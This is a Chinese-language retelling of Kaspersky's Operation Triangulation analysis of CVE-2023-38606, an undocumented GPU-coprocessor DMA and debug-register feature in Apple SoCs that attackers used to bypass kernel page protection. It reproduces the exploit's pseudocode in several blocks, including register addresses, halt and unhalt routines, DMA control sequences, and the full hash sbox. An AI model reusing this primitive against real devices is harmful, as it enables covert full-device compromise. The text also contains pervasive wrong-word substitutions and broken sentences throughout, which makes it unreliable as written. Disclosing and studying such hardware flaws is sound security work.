三角测量行动：最后的（硬件）谜团_存放器_破绽

目录

作者来自卡巴斯基的Boris Larin，他与其余两位同事Leonid Bezvershenko和Georgy Kucherin在2023年12月27日的第37届混沌通信大会(37C3)上揭橥了题为《Operation Triangulation: What You Get When Attack iPhones of Researchers》（三角丈量行动：攻击研究职员的iPhone时会得到什么）的演讲，报告总结了他们对三角丈量行动进行长期研究的结果，这是他们第一次公开表露攻击中利用的所有利用漏洞和漏洞详细信息。
虽然他们已经在Adobe、Apple、Google和Microsoft产品中创造并报告了30多个猖獗的零日攻击，但这个漏洞绝对是目前见过的最繁芜攻击链。

Boris Larin与团队险些完成了对这一攻击链的各个方面的逆向工程，明年他们将发布一系列文章，详细先容每个漏洞以及这些漏洞是如何被利用的。
然而，对付一个特定的漏洞，他们目前还没有完备节制。

下面要谈论的是与已作为CVE-2023-38606缓解的漏洞干系的问题，最近的iPhone型号为内核内存的敏感区域供应了额外的基于硬件的安全保护，如果攻击者可以读写内核内存，这种保护可以防止他们得到对设备的完备掌握，就像这次攻击通过利用CVE-2023-32434实现的那样，研究职员创造，为了绕过这种基于硬件的安全保护，攻击者利用了苹果设计的SoC的另一个硬件功能。

如果试图描述这一功能以及攻击者如何利用它，统统都可以归结为：他们能够将数据写入特定的物理地址，同时通过将数据、目标地址和数据散列写入未被固件利用的芯片的未知硬件寄存器来绕过基于硬件的内存保护。

研究职员的预测是，这个未知的硬件功能很可能是苹果工程师或工厂出于调试或测试目的而设计的，或者它是被缺点地包括在内了。
由于固件不该用此功能，因此研究职员不知道攻击者是如何知道以及如何利用它。

研究职员正在公布技能细节，以便其他iOS安全研究职员可以证明他们的创造，并提出可能的阐明，阐明攻击者是如何理解到这一硬件功能的。

SoC中可用的各种外围设备可以供应可由CPU用来操作这些设备的分外硬件寄存器，为此，这些硬件寄存器被映射到CPU可访问的内存，并被称为“内存映射I/O(MMIO)”。

Apple产品(iPhone、Mac等)中外围设备的MMIO地址范围以一种分外的文件格式存储：DeviceTree，可以从固件中提取设备树文件，并且可以在dt实用程序的帮助下查看其内容。

MMIO范围如何存储在设备树中的示例

例如，在此屏幕截图中，你可以看到cpu0的Acc-Impll MMIO范围的开始(0x210f00000)和大小(0x50000)。

在剖析操作三角丈量攻击中利用的利用漏洞时，研究职员创造攻击者用来绕过基于硬件的内核内存保护的大多数MMIO都不属于设备树中定义的任何MMIO范围。

该漏洞攻击的目标是Apple A12-A16仿生SoC，目标是位于以下地址的未知MMIO寄存器块：0x206040000、0x206140000和0x206150000。

研究职员检讨了内核映像、内核扩展、iBoot和协处理器固件，以探求对这些地址的直接引用：结果没有任何创造。

漏洞攻击利用的MMIO怎么可能不是固件利用的呢？攻击者是如何创造它们的？这些MMIO地址又属于哪些外围设备？

Boris Larin溘然想到该当检讨一下在这些未知的MMIO区块附近的区域还有哪些已知的MMIO，显然这种方法是成功的。

让我们看一看gfx-asc的设备树条款标转储，它是GPU协处理器：

转储gfx-asc的设备树条款

它有两个MMIO范围：0x206400000-0x20646C000和0x206050000-0x206050008，来看看它们与利用漏洞所利用的区域是如何关联的。

Gfx-asc MMIO范围与利用漏洞攻击所利用的地址的关联

更准确地说，利用漏洞攻击利用了以下未知地址：0x206040000、0x206140008、0x206140108、0x206150020、0x206150040和0x206150048，可以看到，个中大部分位于两个GFX-ASC区域之间的区域，别的一个位于第一个GFX-ASC区域的开头附近。

这表明所有这些MMIO寄存器很可能都属于GPU协处理器！

在这之后，Boris Larin仔细研究了这个漏洞，创造了另一件事，证明了他的理论，利用漏洞在初始化期间做的第一件事是写入其他MMIO寄存器，该寄存器位于每个SoC的不同地址。

if (cpuid == 0x8765EDEA): # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16) base = 0x23B700408 command = 0x1F0023FFelif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15) base = 0x23B7003C8 command = 0x1F0023FFelif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14) base = 0x23B7003D0 command = 0x1F0023FFelif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13) base = 0x23B080390 command = 0x1F0003FFelif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12) base = 0x23B080388 command = 0x1F0003FFif ((~read_dword(base) & 0xF) != 0): write_dword(base, command) while(True): if ((~read_dword(base) & 0xF) == 0): break

利用漏洞的GFX电源管理器掌握代码的伪代码

在设备树和Siguza的实用程序pmgr的帮助下，能够创造所有这些地址都对应于电源管理器MMIO范围内的GFX寄存器。

末了，当Boris Larin决定考试测验访问位于这些未知区域的寄存器时，他得到了第三次确认。
险些同时，GPU协处理器就宕机了，并显示一条：“GFX SERROR Exception class=0x2f (SError interrupt), IL=1, iss=0 – power(1)”。

通过这种办法，基本确认所有这些用于利用的未知MMIO寄存器都属于GPU协处理器。

这匆匆使Boris Larin更深入地研究了它的固件，固件利用ARM编写的，并且是未加密的，但在那里找不到任何与这些寄存器干系的东西。

Boris Larin决定仔细看看利用漏洞是如何操作这些未知的MMIO寄存器的，寄存器0x206040000从所有其它寄存器中脱颖而出，由于它位于独立于所有其他寄存器的MMIO块中。

它只在利用漏洞的初始化和结束阶段被触发：它在初始化期间设置了第一个寄存器，在结束期间设置了末了一个寄存器。

根据履历判断，很明显，寄存器要么启用/禁用漏洞利用或受控中断利用的硬件功能。

Boris Larin开始遵照中断路线，很快，就识别了这个未知寄存器0x206040000，同时还创造了映射到0x206000000-0x206050000地址范围的确切内容，下面，你可以看到能够识别的利用漏洞的逆向工程代码。

def ml_dbgwrap_halt_cpu(): value = read_qword(0x206040000) if ((value & 0x90000000) != 0): return write_qword(0x206040000, value | 0x80000000) while (True): if ((read_qword(0x206040000) & 0x10000000) != 0): breakdef ml_dbgwrap_unhalt_cpu(): value = read_qword(0x206040000) value = (value & 0xFFFFFFFF2FFFFFFF) | 0x40000000 write_qword(0x206040000, value) while (True): if ((read_qword(0x206040000) & 0x10000000) == 0): break

利用漏洞利用、0x206040000寄存器的伪代码

Boris Larin能够将上面伪代码中的ml_DBGWRAP_HALT_cpu函数与XNU源代码的dbgwrap.c文件中的同名函数进行匹配，此文件包含利用主CPU的ARM CoreSight MMIO调试寄存器的代码，源代码指出，有四个与CoreSight干系的MMIO区域，分别为ED、CTI、PMU和UTT，每个占用0x10000字节，并且它们都位于彼此相邻的位置。

与其它三个不同的是，源代码指出，它不是来自ARM，而是Apple的专有特性，只是为了方便而添加的。

通过将ARM_DBG_LOCK_ACCESS_KEY写入相应位置，能够确认0x206000000-0x206050000确实是用于GPU协处理器的CoreSight MMIO调试寄存器块。

主CPU的每个核心都有自己的CoreSight MMIO调试寄存器块，但与GPU协处理器不同的是，它们的地址可以在设备树中找到。

同样有趣的是，此漏洞的作者知道如何利用Apple UTT专有区域来解除CPU的宕机：此代码不是XNU源代码的一部分。

以这种办法无法找到的东西是攻击者对第二个未知区域中的寄存器所做的操作。
研究人与啊不愿定MMIO调试寄存器的哪些块位于那里，或者如果固件没有利用它们，攻击者是如何创造如何利用它们的。

让我们看看利用漏洞所利用的别的未知寄存器。

寄存器0x206140008和0x206140108掌握启用/禁用和运行漏洞利用所利用的硬件功能。

def dma_ctrl_1(): ctrl = 0x206140108 value = read_qword(ctrl) write_qword(ctrl, value | 0x8000000000000001) sleep(1) while ((~read_qword(ctrl) & 0x8000000000000001) != 0): sleep(1)def dma_ctrl_2(flag): ctrl = 0x206140008 value = read_qword(ctrl) if (flag): if ((value & 0x1000000000000000) == 0): value = value | 0x1000000000000000 write_qword(ctrl, value) else: if ((value & 0x1000000000000000) != 0): value = value & ~0x1000000000000000 write_qword(ctrl, value)def dma_ctrl_3(value): ctrl = 0x206140108 value = value | 0x8000000000000000 write_qword(ctrl, read_qword(ctrl) & value) while ((read_qword(ctrl) & 0x8000000000000001) != 0): sleep(1)def dma_init(original_value_0x206140108): dma_ctrl_1() dma_ctrl_2(False) dma_ctrl_3(original_value_0x206140108)def dma_done(original_value_0x206140108): dma_ctrl_1() dma_ctrl_2(True) dma_ctrl_3(original_value_0x206140108)

利用漏洞利用寄存器0x206140008和0x206140108的伪码

寄存器0x206150020仅用于Apple A15/A16仿生SoC，在利用漏洞攻击的初始化阶段将其设置为1，在完成阶段将其设置为其原始值。

寄存器0x206150040用于存储一些标志和目标物理地址的下半部分。

末了一个寄存器0x206150048用于存储须要写入的数据和目标物理地址的上半部分，与数据散列和另一个值(可能是命令)捆绑在一起。

该硬件功能将数据写入0x40字节的对齐块中，所有数据应分9次顺序写入0x206150048寄存器。

if (cpuid == 0x8765EDEA): # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16) i = 8 mask = 0x7FFFFFFelif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15) i = 8 mask = 0x3FFFFFelif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14) i = 0x28 mask = 0x3FFFFFelif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13) i = 0x28 mask = 0x3FFFFFelif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12) i = 0x28 mask = 0x3FFFFFdma_init(original_value_0x206140108)hash1 = calculate_hash(data)hash2 = calculate_hash(data+0x20)write_qword(0x206150040, 0x2000000 | (phys_addr & 0x3FC0))pos = 0while (pos < 0x40): write_qword(0x206150048, read_qword(data + pos)) pos += 8phys_addr_upper = ((((phys_addr >> 14) & mask) << 18) & 0x3FFFFFFFFFFFF)value = phys_addr_upper | (hash1 << i) | (hash2 << 50) | 0x1Fwrite_qword(0x206150048, value)dma_done(original_value_0x206140108)

利用漏洞利用寄存器0x206150040和0x206150048的伪代码

只要统统都精确完成，硬件就会实行直接内存访问(DMA)操作，并将数据写入要求的位置。

此利用漏洞攻击将此硬件功能用作页面保护层(PPL)绕过，紧张用于修补页面表项，它还可以用于修补受保护的__PPLDATA段中的数据。

该漏洞利用不该用该功能来修补内核代码，但在测试期间，研究职员能够覆盖内核 __TEXT_EXEC 段中的一条指令，并得到具有预期地址和值的“Undefined Kernel Instruction”宕机。

这只成功了一次——在研究职员考试测验的其他时候，都碰着了 AMCC 宕机。

现在已经谈论了所有MMIO寄存器的所有事情，来看看末了一件事：哈希是如何打算的？算法如下所示：

sbox = [ 0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016, 0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043, 0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045, 0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117, 0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D, 0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7, 0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105, 0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C, 0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3, 0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D, 0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206, 0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B, 0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058, 0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC, 0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313, 0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1, 0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315, 0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3, 0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141, 0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8, 0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070, 0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241, 0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144, 0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281, 0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0, 0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4, 0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394, 0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302, 0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250, 0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4, 0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260, 0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380]def calculate_hash(buffer): acc = 0 for i in range(8): pos = i 4 value = read_dword(buffer + pos) for j in range(32): if (((value >> j) & 1) != 0): acc ^= sbox[32 i + j] return acc

正如以上所看到的，这是一个自定义算法，哈希是通过利用预定义的sbox表打算得到，研究职员试着在一大堆二进制文件中搜索它，但一无所获。

你可能会把稳到这个散列看起来并不屈安，由于它只占用20位（10+10，由于它被打算了两次），但只要没有人知道如何打算和利用它，它就能完成它的事情，它可以用最好的术语“security by obscurity“来形容。

如果不该用此硬件功能，并且固件中没有任何关于如何利用它的解释，攻击者如何创造并利用此硬件功能？

研究职员又做了一项测试，创造Mac内部的M1芯片也有这个未知的硬件功能，研究职员用m1n1工具做了一个实验，这个工具有一个trace_range函数，它跟踪对所供应的MMIO寄存器范围的所有访问，用它来设置内存范围0x206110000 – 0x206400000的跟踪，但它报告macOS没有利用这些寄存器。

在题为“Hacking Sony PlayStation Blu-ray Drives”的演示文稿中，研究职员谈到了如何通过利用可通过SCSI命令访问的MMIO DMA寄存器来转储索尼PlayStation 3和4的蓝光驱动器上的固件并实当代码实行。

由于早期版本的固件利用这些寄存器进行所有DRAM操作，但后来索尼停滞利用它们并开始直接访问DRAM，由于所有DRAM也映射到CPU地址空间。

由于没有人再利用这些寄存器，而某些人知道如何利用它们，以是就可以利用了它们。
在这种情形下，类似的事情会发生吗？目前还无法得，但这个GPU协处理器第一次涌如今最近的苹果SoC中。

在Boris Larin个人看来，基于上面供应的所有信息，他非常疑惑零售固件以前是否利用过这种硬件功能。

然而，还有一种可能是，它之前在某些特定的固件或XNU源代码发布中被缺点地揭示过，然后又被删除。

Boris Larin希望从iOS 16.6中实现的对此漏洞的修复中找出第二个未知区域内的位置，大概能够找出苹果是如何缓解这个问题的，但苹果稠浊了该修复。

Apple通过将利用漏洞利用的MMIO范围0x206000000-0x206050000和0x206110000-0x206400000添加到存储在设备树中的pmap-io-range来缓解此漏洞。

XNU 利用个中存储的信息来决定是否许可映射某些物理地址，存储在这里的所有条款都有一个故意义的标署名称，解释该范围属于哪种内存。

存储在pmap-io-range中的条款示例

这里，PCIe代表“外设组件互连Express”，DART代表“设备地址解析表”，DAPF代表“设备地址过滤器”，等等。

以下是利用漏洞攻击利用的区域的标记名，他们从其他公司中脱颖而出。

漏洞利用所利用的区域的条款

这不是普通的薄弱性，有许多悬而未决的问题，研究职员不知道攻击者是如何学会利用这一未知硬件功能的，也不知道它的原始目的是什么。
也不知道它是否由苹果开拓的，还是像ARM CoreSight这样的第三方组件。

我们知道的是只要有硬件功能可以绕过这些保护，高等的基于硬件的保护在面对老练的攻击者时就毫无用途，这个漏洞也证明了这一点。

硬件安全常日依赖于 “暗藏性安全”，它比软件更难逆向工程，但这是一种有缺陷的方法，由于迟早有一天，所有的秘密都会被戳穿。

依赖于“暗藏安全”的系统永久不可能是真正安全的。